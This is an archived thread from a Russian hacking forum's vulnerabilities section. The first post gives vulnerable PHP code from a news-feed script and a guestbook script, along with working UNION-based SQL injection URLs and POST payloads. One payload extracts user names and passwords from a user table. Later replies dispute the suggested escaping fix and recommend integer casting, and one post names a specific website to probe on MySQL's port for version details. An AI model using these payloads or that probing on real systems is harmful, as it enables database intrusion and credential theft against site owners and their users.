Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

SQL-inj, новостные лента, гостевая книга

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Уязвимости] >> SQL-inj, новостные лента, гостевая книга
Имя
Сообщение << Старые топики   Новые топики >>
SQL-inj, новостные лента, гостевая книга - 2009-09-07 18:05:02.646666   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
1) Flash news 1.5

Уязвимый код

if((isset($month))&&(isset($year))) { //Выбираем из базы по месяцам $mysql="SELECT * FROM $tablename WHERE ((month=$month) AND (year=$year)) ORDER BY date DESC";

Expl: out.php?month=09&year=1))-1+union+select+1,2,3,4,5,6+–+
6 поле принтабельное

Решение: mysql_real_escape_string($month) и mysql_real_escape_string($year)



2) Гостевая книга by Romka 2.0

Уязвимый код
if(isset($_POST['search'])) { $search = $_POST['search']; } .... ...... $result = mysql_query("SELECT * FROM gbmain WHERE MATCH(text) AGAINST('$search')", $db);
Expl: search.php (POST sql-inj)
lllll')-1+union+select+1,2,3,4,5,6,concat(user,char(32),pass),8,10,11,12+from+userlist+–+/*

Решение: mysql_real_escape_string($search)
Post #: 1
RE: SQL-inj, новостные лента, гостевая книга - 2010-01-16 17:49:19.486666   
windowoz

Сообщений: 33
Оценки: 0
Присоединился: 2009-11-08 09:02:53.010000
Можно пожалуйсто поподробнее об использовании этой уязвимости и если можно плиз какой-нить развивающий материал по скулям.
Post #: 2
RE: SQL-inj, новостные лента, гостевая книга - 2010-01-16 17:51:14.836666   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
Юзайте Google, разваивающиего материала сколько угодно
Post #: 3
RE: SQL-inj, новостные лента, гостевая книга - 2010-01-19 20:27:46.373333   
windowoz

Сообщений: 33
Оценки: 0
Присоединился: 2009-11-08 09:02:53.010000
я так понимаю в первом примере если я меняю значения month=09&year=1 и ничего не меняется, то данная уязвимость места не имеет, так?
Post #: 4
RE: SQL-inj, новостные лента, гостевая книга - 2010-01-19 20:36:19.360000   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
А где вы ее меняете?
Post #: 5
RE: SQL-inj, новостные лента, гостевая книга - 2010-01-21 11:13:16.336666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
quote:

Решение: mysql_real_escape_string()


У mysql_real_escape_string() есть одна маленькая проблема - она шикарно пробивается массивом на раскрытие установочного пути. Поэтому финальный вариант - @mysql_real_escape_string()
Post #: 6
RE: SQL-inj, новостные лента, гостевая книга - 2010-01-21 18:48:56.896666   
S00pY

Сообщений: 785
Оценки: 0
Присоединился: 2007-04-14 20:44:05.376666
В Flash news 1.5 решение не поможет…
Post #: 7
RE: SQL-inj, новостные лента, гостевая книга - 2010-01-21 19:02:19.660000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Да, точно. Там же никакие кавычки на фиг не нужны )))))
Ну тогда тупо (INT)
Post #: 8
RE: SQL-inj, новостные лента, гостевая книга - 2010-02-26 05:33:18.973333   
Ctacok

Сообщений: 38
Оценки: 0
Присоединился: 2009-05-10 13:55:58.663333
quote:

xpl: out.php?month=09&year=1))-1+union+select+1,2,3,4,5,6+–+
6 поле принтабельное

Решение: mysql_real_escape_string($month) и mysql_real_escape_string($year)

O_O
Причём здесь mysql_real_escape_string() ?)
quote:

mysql_real_escape_string() вызывает библиотечную функцмю MySQL mysql_real_escape_string, которая добавляет обратную косую черту к следующим символам: \x00, \n, \r, \, ', " and \x1a.

if((isset($month))&&(isset($year))) { //Выбираем из базы по месяцам $mysql="SELECT * FROM $tablename WHERE ((month=$month) AND (year=$year)) ORDER BY date DESC";
Закрывать там ковычки ненадо, всего лишь прикрыть скобкой, но она же не фильтруеться mysql_real_escape_string(), так что выкинуть это решение :)
Судя по примеру скули, там достаточно intval().
Post #: 9
RE: SQL-inj, новостные лента, гостевая книга - 2010-02-26 13:51:37.040000   
FriLL

Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
Ну знаете, я мастер больше находить чем исправлять))
Post #: 10
RE: SQL-inj, новостные лента, гостевая книга - 2010-02-26 14:02:57.540000   
Ctacok

Сообщений: 38
Оценки: 0
Присоединился: 2009-05-10 13:55:58.663333
Я так скажем, указал свой метод исправления, и тебе намекнул что не стоит такую фильтрацию ставить как у тебя :)
Post #: 11
RE: SQL-inj, новостные лента, гостевая книга - 2010-03-02 16:28:49.170000   
windowoz

Сообщений: 33
Оценки: 0
Присоединился: 2009-11-08 09:02:53.010000
FriLL
quote:

А где вы ее меняете?


в строке браузера, а нужно не там?
Post #: 12
RE: SQL-inj, новостные лента, гостевая книга - 2010-03-03 22:10:57.816666   
lehii

Сообщений: 86
Оценки: 0
Присоединился: 2009-06-08 16:53:40.560000
Народ когда мы подставляем кавычку к цифровому параметру в надежде на то что появиться ошибка!
Вот вопрос:"Используется ли вообще SQL этим сайтом или нет?" Всем известно что SQL висит на "3306"-ом
порту! Так вот например можно узнать сразу и версию мускула! Есть сайт: "www.bfysportsnfitness.com" подставив к нему порт:"www.bfysportsnfitness.com:3306" откроется страница или загрузится текстовый файл
с версией мускула,если такова имеется!
"5.0.84-percona-highperf-b18-log"
Удачи!
Post #: 13
Страниц:  [1]
Все форумы >> [Уязвимости] >> SQL-inj, новостные лента, гостевая книга







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.